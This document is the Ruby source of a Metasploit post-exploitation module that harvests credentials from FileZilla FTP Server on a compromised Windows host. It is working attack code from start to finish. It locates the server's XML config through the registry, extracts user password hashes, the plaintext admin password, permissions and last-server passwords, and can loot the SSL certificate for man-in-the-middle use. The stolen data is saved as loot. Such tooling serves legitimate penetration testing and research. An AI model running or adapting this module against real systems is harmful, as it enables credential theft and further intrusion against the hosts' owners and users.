## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'rexml/document' class MetasploitModule < Msf::Post include Msf::Post::File def initialize(info = {}) super( update_info( info, 'Name' => 'Windows Gather FileZilla FTP Server Credential Collection', 'Description' => %q{ This module will collect credentials from the FileZilla FTP server if installed. }, 'License' => MSF_LICENSE, 'Author' => [ 'bannedit', # original idea & module 'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features ], 'Platform' => ['win'], 'SessionTypes' => ['meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ core_channel_eof core_channel_open core_channel_read core_channel_write stdapi_registry_query_value_direct stdapi_sys_config_getenv stdapi_sys_config_getuid ] } } ) ) register_options([ OptBool.new('SSLCERT', [false, 'Loot the SSL Certificate if its there?', false]), # useful perhaps for MITM ]) end def run if session.type != 'meterpreter' print_error 'Only meterpreter sessions are supported by this post module' return end progfiles_env = session.sys.config.getenvs('ProgramFiles', 'ProgramFiles(x86)', 'ProgramW6432') locations = [] progfiles_env.each do |_k, v| next if v.blank? locations << v + '\\FileZilla Server\\' end keys = [ 'HKLM\\SOFTWARE\\FileZilla Server', 'HKLM\\SOFTWARE\\Wow6432Node\\FileZilla Server', ] keys.each do |key| begin root_key, base_key = session.sys.registry.splitkey(key) value = session.sys.registry.query_value_direct(root_key, base_key, 'install_dir') rescue Rex::Post::Meterpreter::RequestError => e vprint_error(e.message) next end locations << value.data + '\\' end locations = locations.uniq filezilla = check_filezilla(locations) get_filezilla_creds(filezilla) if filezilla end def check_filezilla(locations) paths = [] begin locations.each do |location| print_status("Checking for Filezilla Server directory in: #{location}") begin session.fs.dir.foreach(location.to_s) do |fdir| ['FileZilla Server.xml', 'FileZilla Server Interface.xml'].each do |xmlfile| next unless fdir == xmlfile filepath = location + xmlfile print_good("Configuration file found: #{filepath}") paths << filepath end end rescue Rex::Post::Meterpreter::RequestError => e vprint_error(e.message) end end rescue ::Exception => e print_error(e.to_s) return end if !paths.empty? print_good("Found FileZilla Server on #{sysinfo['Computer']} via session ID: #{session.sid}") print_line return paths end return nil end def get_filezilla_creds(paths) fs_xml = '' # FileZilla Server.xml - Settings for the local install fsi_xml = '' # FileZilla Server Interface.xml - Last server used with the interface credentials = Rex::Text::Table.new( 'Header' => 'FileZilla FTP Server Credentials', 'Indent' => 1, 'Columns' => [ 'Host', 'Port', 'User', 'Password', 'SSL' ] ) permissions = Rex::Text::Table.new( 'Header' => 'FileZilla FTP Server Permissions', 'Indent' => 1, 'Columns' => [ 'Host', 'User', 'Dir', 'FileRead', 'FileWrite', 'FileDelete', 'FileAppend', 'DirCreate', 'DirDelete', 'DirList', 'DirSubdirs', 'AutoCreate', 'Home' ] ) configuration = Rex::Text::Table.new( 'Header' => 'FileZilla FTP Server Configuration', 'Indent' => 1, 'Columns' => [ 'FTP Port', 'FTP Bind IP', 'Admin Port', 'Admin Bind IP', 'Admin Password', 'SSL', 'SSL Certfile', 'SSL Key Password' ] ) lastserver = Rex::Text::Table.new( 'Header' => 'FileZilla FTP Last Server', 'Indent' => 1, 'Columns' => [ 'IP', 'Port', 'Password' ] ) paths.each do |path| file = session.fs.file.new(path, 'rb') until file.eof? if path.include? 'FileZilla Server.xml' fs_xml << file.read elsif path.include? 'FileZilla Server Interface.xml' fsi_xml << file.read end end file.close end # user credentials password is just an MD5 hash # admin pass is just plain text. Priorities? creds, perms, config = parse_server(fs_xml) creds.each do |cred| credentials << [cred['host'], cred['port'], cred['user'], cred['password'], cred['ssl']] session.db_record ? (source_id = session.db_record.id) : (source_id = nil) service_data = { address: session.session_host, port: config['ftp_port'], service_name: 'ftp', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, jtr_format: 'raw-md5', session_id: session_db_id, post_reference_name: refname, private_type: :nonreplayable_hash, private_data: cred['password'], username: cred['user'] } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) create_credential_login(login_data) end perms.each do |perm| permissions << [ perm['host'], perm['user'], perm['dir'], perm['fileread'], perm['filewrite'], perm['filedelete'], perm['fileappend'], perm['dircreate'], perm['dirdelete'], perm['dirlist'], perm['dirsubdirs'], perm['autocreate'], perm['home'] ] end session.db_record ? (source_id = session.db_record.id) : (source_id = nil) # report the goods! if config['admin_pass'] == '' vprint_status('Detected Default Adminstration Settings:') else vprint_status('Collected the following configuration details:') service_data = { address: session.session_host, port: config['admin_port'], service_name: 'filezilla-admin', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :session, session_id: session_db_id, post_reference_name: refname, private_type: :password, private_data: config['admin_pass'], username: 'admin' } credential_data.merge!(service_data) credential_core = create_credential(credential_data) # Assemble the options hash for creating the Metasploit::Credential::Login object login_data = { core: credential_core, status: Metasploit::Model::Login::Status::UNTRIED } # Merge in the service data and create our Login login_data.merge!(service_data) create_credential_login(login_data) end vprint_status(" FTP Port: #{config['ftp_port']}") vprint_status(" FTP Bind IP: #{config['ftp_bindip']}") vprint_status(" SSL: #{config['ssl']}") vprint_status(" Admin Port: #{config['admin_port']}") vprint_status(" Admin Bind IP: #{config['admin_bindip']}") vprint_status(" Admin Pass: #{config['admin_pass']}") vprint_line configuration << [ config['ftp_port'], config['ftp_bindip'], config['admin_port'], config['admin_bindip'], config['admin_pass'], config['ssl'], config['ssl_certfile'], config['ssl_keypass'] ] begin lastser = parse_interface(fsi_xml) lastserver << [lastser['ip'], lastser['port'], lastser['password']] vprint_status('Last Server Information:') vprint_status(" IP: #{lastser['ip']}") vprint_status(" Port: #{lastser['port']}") vprint_status(" Password: #{lastser['password']}") vprint_line rescue StandardError vprint_error('Could not parse FileZilla Server Interface.xml') end loot_path = store_loot('filezilla.server.creds', 'text/csv', session, credentials.to_csv, 'filezilla_server_credentials.csv', 'FileZilla FTP Server Credentials') print_status("Credentials saved in: #{loot_path}") loot_path = store_loot('filezilla.server.perms', 'text/csv', session, permissions.to_csv, 'filezilla_server_permissions.csv', 'FileZilla FTP Server Permissions') print_status("Permissions saved in: #{loot_path}") loot_path = store_loot('filezilla.server.config', 'text/csv', session, configuration.to_csv, 'filezilla_server_configuration.csv', 'FileZilla FTP Server Configuration') print_status(" Config saved in: #{loot_path}") loot_path = store_loot('filezilla.server.lastser', 'text/csv', session, lastserver.to_csv, 'filezilla_server_lastserver.csv', 'FileZilla FTP Last Server') print_status(" Last server history: #{loot_path}") print_line end def parse_server(data) creds = [] perms = [] groups = [] settings = {} users = 0 passwords = 0 begin doc = REXML::Document.new(data).root rescue REXML::ParseException print_error('Invalid xml format') end opt = doc.elements.to_a('Settings/Item') if opt[1].nil? # Default value will only have a single line, for admin port - no adminstration settings settings['admin_port'] = begin opt[0].text rescue StandardError '' end settings['ftp_port'] = 21 else settings['ftp_port'] = begin opt[0].text rescue StandardError 21 end settings['admin_port'] = begin opt[16].text rescue StandardError '' end end settings['admin_pass'] = begin opt[17].text rescue StandardError '' end settings['local_host'] = begin opt[18].text rescue StandardError '' end settings['bindip'] = begin opt[38].text rescue StandardError '' end settings['ssl'] = begin opt[42].text rescue StandardError '' end # empty means localhost only * is 0.0.0.0 if settings['local_host'] settings['admin_bindip'] = settings['local_host'] else settings['admin_bindip'] = '127.0.0.1' end settings['admin_bindip'] = '0.0.0.0' if settings['admin_bindip'] == '*' || settings['admin_bindip'].empty? if settings['bindip'] settings['ftp_bindip'] = settings['bindip'] else settings['ftp_bindip'] = '127.0.0.1' end settings['ftp_bindip'] = '0.0.0.0' if settings['ftp_bindip'] == '*' || settings['ftp_bindip'].empty? settings['ssl'] = settings['ssl'] == '1' if !settings['ssl'] && datastore['SSLCERT'] print_error('Cannot loot the SSL Certificate, SSL is disabled in the configuration file') end settings['ssl_certfile'] = begin items[45].text rescue StandardError '' end # Get the file if it is there. It could be useful in MITM attacks if settings['ssl_certfile'] != '' && settings['ssl'] && datastore['SSLCERT'] sslfile = session.fs.file.new(settings['ssl_certfile']) sslcert << sslfile.read until sslfile.eof? store_loot('filezilla.server.ssl.cert', 'text/plain', session, sslfile, settings['ssl_cert'] + '.txt', 'FileZilla Server SSL Certificate File') print_status('Looted SSL Certificate File') end settings['ssl_certfile'] = '' if settings['ssl_certfile'].nil? settings['ssl_keypass'] = begin items[50].text rescue StandardError '' end settings['ssl_keypass'] = '' if settings['ssl_keypass'].nil? vprint_status('Collected the following credentials:') if doc.elements['Users'] doc.elements.each('Users/User') do |user| account = {} opt = user.elements.to_a('Option') account['user'] = begin user.attributes['Name'] rescue StandardError '' end account['password'] = begin opt[0].text rescue StandardError '' end account['group'] = begin opt[1].text rescue StandardError '' end users += 1 passwords += 1 groups << account['group'] user.elements.to_a('Permissions/Permission').each do |permission| perm = {} opt = permission.elements.to_a('Option') perm['user'] = begin user.attributes['Name'] rescue StandardError '' end perm['dir'] = begin permission.attributes['Dir'] rescue StandardError '' end perm['fileread'] = begin opt[0].text rescue StandardError '' end perm['filewrite'] = begin opt[1].text rescue StandardError '' end perm['filedelete'] = begin opt[2].text rescue StandardError '' end perm['fileappend'] = begin opt[3].text rescue StandardError '' end perm['dircreate'] = begin opt[4].text rescue StandardError '' end perm['dirdelete'] = begin opt[5].text rescue StandardError '' end perm['dirlist'] = begin opt[6].text rescue StandardError '' end perm['dirsubdirs'] = begin opt[7].text rescue StandardError '' end perm['autocreate'] = begin opt[9].text rescue StandardError '' end perm['host'] = settings['ftp_bindip'] opt[8].text == '1' ? (perm['home'] = 'true') : (perm['home'] = 'false') perms << perm end user.elements.to_a('IpFilter/Allowed').each do |allowed| end user.elements.to_a('IpFilter/Disallowed').each do |disallowed| end account['host'] = settings['ftp_bindip'] account['port'] = settings['ftp_port'] account['ssl'] = settings['ssl'].to_s creds << account vprint_status(" Username: #{account['user']}") vprint_status(" Password: #{account['password']}") vprint_status(" Group: #{account['group']}") if account['group'] vprint_line end # Rather than printing out all the values, just count up groups = groups.uniq unless groups.uniq.nil? if !datastore['VERBOSE'] print_status('Collected the following credentials:') print_status(" Usernames: #{users}") print_status(" Passwords: #{passwords}") print_status(" Groups: #{groups.length}") print_line end return [creds, perms, settings] end def parse_interface(data) lastser = {} begin doc = REXML::Document.new(data).root rescue REXML::ParseException print_error('Invalid xml format') return lastser end opt = doc.elements.to_a('Settings/Item') opt.each do |item| case item.attributes['name'] when /Address/ lastser['ip'] = item.text when /Port/ lastser['port'] = item.text when /Password/ lastser['password'] = item.text end end lastser['password'] = '' if lastser['password'].nil? lastser end def got_root? session.sys.config.getuid =~ /SYSTEM/ ? true : false end def whoami session.sys.config.getenv('USERNAME') end end